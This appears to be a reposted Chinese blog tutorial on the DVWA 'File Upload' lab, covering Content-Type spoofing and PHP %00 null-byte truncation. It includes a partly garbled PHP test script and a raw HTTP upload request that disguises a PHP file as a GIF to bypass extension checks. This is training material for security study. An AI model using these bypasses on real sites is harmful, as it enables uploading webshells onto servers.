博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
【DVWA】Web漏洞实战之File Upload
阅读量:6454 次
发布时间:2019-06-23

本文共 2142 字,大约阅读时间需要 7 分钟。

 

File Upload

File Upload,即文件上传漏洞,一般的上传漏洞可能是未验证上传后缀 或者是验证上传后缀被bypass 或者是上传的文件验证了上传后缀但是文件名不重命名。

LOW

直接上传任意文件

 

 MEDIUM

 验证Content-Type,修改Content-Type为 image/jpeg直接绕过

 

HIGH

验证了后缀名、文件大小及限制了上传文件的文件头必须为图像类型。

利用条件:

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为1.php%00.png。

高PHP版本会将%00转换成\0,高版本截断失效。

 

 

PHP 本地测试代码:

0) { echo "Error: " . $_FILES["file"]["error"] . "
"; } else { echo "houzhui: ".$uploaded_ext; echo "
"; echo "
";    echo print_r($_FILES);    echo "
"; move_uploaded_file($_FILES["file"]["tmp_name"],"imag/" . $_FILES["file"]["name"]); } }else { echo "Invalid file"; }?>

测试记录:

上传1.php.jpg 拦截 00截断

 服务端获取到的文件名$_FILES["file"]["name"]为1.php

 

00截断漏洞:

该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。

语法 1 move_uploaded_file ( string $filename , string $destination )

这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

 

POST /dede/upload.php HTTP/1.1Host: 192.168.106.141User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-aliveUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------96431875028546Content-Length: 3160-----------------------------96431875028546Content-Disposition: form-data; name="file"; filename="3.jpg"Content-Type: image/jpegGIF89aP 111111111111111
-----------------------------96431875028546Content-Disposition: form-data; name="xxname"1111111.php .jpg #进行截断-----------------------------96431875028546Content-Disposition: form-data; name="submit"Submit-----------------------------96431875028546--

 

 

参考链接:

  文件上传之绕过 http://www.jianshu.com/p/4e2248c486ee

      文件上传漏洞(绕过姿势)       https://zhuanlan.zhihu.com/p/25220150

  新手指南:DVWA-1.9全级别教程之File Upload  http://www.freebuf.com/articles/web/119467.html

     PHP任意文件上传漏洞(CVE-2015-2348)分析与利用 http://bobao.360.cn/news/detail/1383.html

 

转载地址:http://nwbzo.baihongyu.com/

你可能感兴趣的文章
linux常见问题
查看>>
SQL2012(聚合函数+排序函数)用法介绍
查看>>
注意数组传值,传到后台,
查看>>
Mybatis入门
查看>>
django之Model的内部类Meta选项说明
查看>>
UTF的字节序和BOM
查看>>
IE8 没有内容的盒子,如果有定位,浮现在其他盒子上 可能会有点击穿透没有作用的情况...
查看>>
windows查看进程
查看>>
Ubuntn16.04+OpenCV3.1+CUDA8.0+cudnn5.1+caffe配置及问题集锦
查看>>
POJ 3207 Ikki's Story IV - Panda's Trick【2-SAT】
查看>>
HDoj 2602 Bone Collector 01背包
查看>>
spring 配置中相关属性的含义:
查看>>
CSS(二)样式优先级别和css的单位刻度
查看>>
第六章 循环
查看>>
内置函数
查看>>
在Ubuntu里搭建spark环境
查看>>
【Android】用MediaRecorder录制视频太短崩的问题
查看>>
区块链代币(Token)笔记 — — 术语
查看>>
坐标系与基本图元(3)
查看>>
A.华华听月月唱歌
查看>>